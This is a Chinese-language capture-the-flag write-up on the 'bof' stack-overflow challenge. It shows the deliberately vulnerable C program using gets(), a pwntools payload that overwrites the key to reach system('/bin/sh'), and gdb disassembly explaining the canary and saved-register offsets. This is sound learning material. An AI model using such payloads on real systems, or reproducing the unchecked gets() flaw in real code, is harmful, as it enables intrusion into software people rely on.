内容简介:虽然是一道比较简单的栈溢出题目,但是第一次实际接触栈溢出也花了不少力气,理清不少问题。这道题一样提供了源代码很容易看出漏洞成因自傲与gets()函数没有对输入长度进行判断,导致溢出的存在从而可以覆盖key的值。
虽然是一道比较简单的栈溢出题目,但是第一次实际接触栈溢出也花了不少力气,理清不少问题。
bof
这道题一样提供了源代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme);// smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
很容易看出漏洞成因自傲与gets()函数没有对输入长度进行判断,导致溢出的存在从而可以覆盖key的值。
根据函数调用栈的结构如下:
可以直接算出间距length
length = len(overflowme) + len(previous_ebp) + len(return_address)=32 + 4 + 4 = 40
用pwntools发送
p.sendline("A"*40 + p32(0xcafebabe))
发现并不能成功,查看网上的wp发现这道题的间距其实有52,但是根据函数调用栈直接计算应该是40才对
为什么是52
用gdb调试bof程序,查看其汇编代码有
gdb-peda$ disassemble func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7e5a360 <puts>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e59ae0 <gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe //if(key == 0xcafebabe)
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7e2fd10 <system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7e5a360 <puts>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7efaee0 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.
从汇编代码中可以看到代码执行过程中对栈所执行的操作,在if函数执行前,一共对栈进行了如下操作
0x5655562c <+0>: push ebp 0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax 0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c 0x5655564c <+32>: mov DWORD PTR [esp],eax
第一步操作,是将上个函数的栈顶压栈存为当前函数的栈底,第四个操作,是将栈顶指针指向ebp-0x2c以进行gets操作
其中第三个操作中esp的值为ebp-0x48,在overflowme所在栈空间以下不用考虑,但是第二个操作直接对ebp-0xc进行赋值就显得很奇怪,而且ebp-0x2c与ebp-0xc之间刚好隔了32个字节,说明多出的12字节就是来源于这里
网上搜索后发现这十二个字节来源于Canary防护机制,取了gs:0x14的值作为校验值,与汇编中的语句吻合
0x56555632 <+6>: mov eax,gs:0x14
用checksec语句查看防护机制,发现Canary确实存在
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : Partial
所以52字节中多出的12字节就是来源于Canary。
引申问题
换句话说,如果关闭Canary,那间隔应该刚好是40字节。重新编译bof,关闭栈保护
$ gcc -fno-stack-protector -m32 -g -o bof1 bof.c
对bof1进行溢出操作发现还是失败,说明间隔仍然不是40字节,这就与之前的猜测相违背了,查看汇编代码有
gdb-peda$ disassemble func
Dump of assembler code for function func:
0x565555ad <+0>: push ebp
0x565555ae <+1>: mov ebp,esp
0x565555b0 <+3>: push ebx
0x565555b1 <+4>: sub esp,0x24
0x565555b4 <+7>: call 0x565554b0 <__x86.get_pc_thunk.bx>
0x565555b9 <+12>: add ebx,0x1a13
=> 0x565555bf <+18>: sub esp,0xc
0x565555c2 <+21>: lea eax,[ebx-0x18ec]
0x565555c8 <+27>: push eax
0x565555c9 <+28>: call 0x56555410 <printf@plt>
0x565555ce <+33>: add esp,0x10
0x565555d1 <+36>: sub esp,0xc
0x565555d4 <+39>: lea eax,[ebp-0x28]
0x565555d7 <+42>: push eax
0x565555d8 <+43>: call 0x56555420 <gets@plt>
0x565555dd <+48>: add esp,0x10
0x565555e0 <+51>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x565555e7 <+58>: jne 0x565555fd <func+80>
0x565555e9 <+60>: sub esp,0xc
0x565555ec <+63>: lea eax,[ebx-0x18dd]
0x565555f2 <+69>: push eax
0x565555f3 <+70>: call 0x56555440 <system@plt>
0x565555f8 <+75>: add esp,0x10
0x565555fb <+78>: jmp 0x5655560f <func+98>
0x565555fd <+80>: sub esp,0xc
0x56555600 <+83>: lea eax,[ebx-0x18d5]
0x56555606 <+89>: push eax
0x56555607 <+90>: call 0x56555430 <puts@plt>
0x5655560c <+95>: add esp,0x10
0x5655560f <+98>: nop
0x56555610 <+99>: mov ebx,DWORD PTR [ebp-0x4]
0x56555613 <+102>: leave
0x56555614 <+103>: ret
End of assembler dump.
直接计算间隔为0x30,比预估距离多了8字节,在汇编代码可以发现,存入overflowme数组之前,栈空间内存入了ebx,并调用了__x86.get_pc_thunk.bx函数,这个函数的作用就是把esp的值保存在eax(PIC寄存器)中, 以便寻址,因为32位下不支持直接访问PC寄存器,所以需要这样间接调用.
=> 0x565554b0 <__x86.get_pc_thunk.bx>: mov ebx,DWORD PTR [esp]
0x565554b3 <__x86.get_pc_thunk.bx+3>: ret
所以在编译器的作用下,内存间距不一定可以按照理论情况直接进行推算,还是需要实际查看才行。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 一文读懂监督学习、无监督学习、半监督学习、强化学习这四种深度学习方式
- 学习:人工智能-机器学习-深度学习概念的区别
- 统计学习,机器学习与深度学习概念的关联与区别
- 混合学习环境下基于学习行为数据的学习预警系统设计与实现
- 学习如何学习
- 深度学习的学习历程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Cracking the Coding Interview
Gayle Laakmann McDowell / CareerCup / 2015-7-1 / USD 39.95
Cracking the Coding Interview, 6th Edition is here to help you through this process, teaching you what you need to know and enabling you to perform at your very best. I've coached and interviewed hund......一起来看看 《Cracking the Coding Interview》 这本书的介绍吧!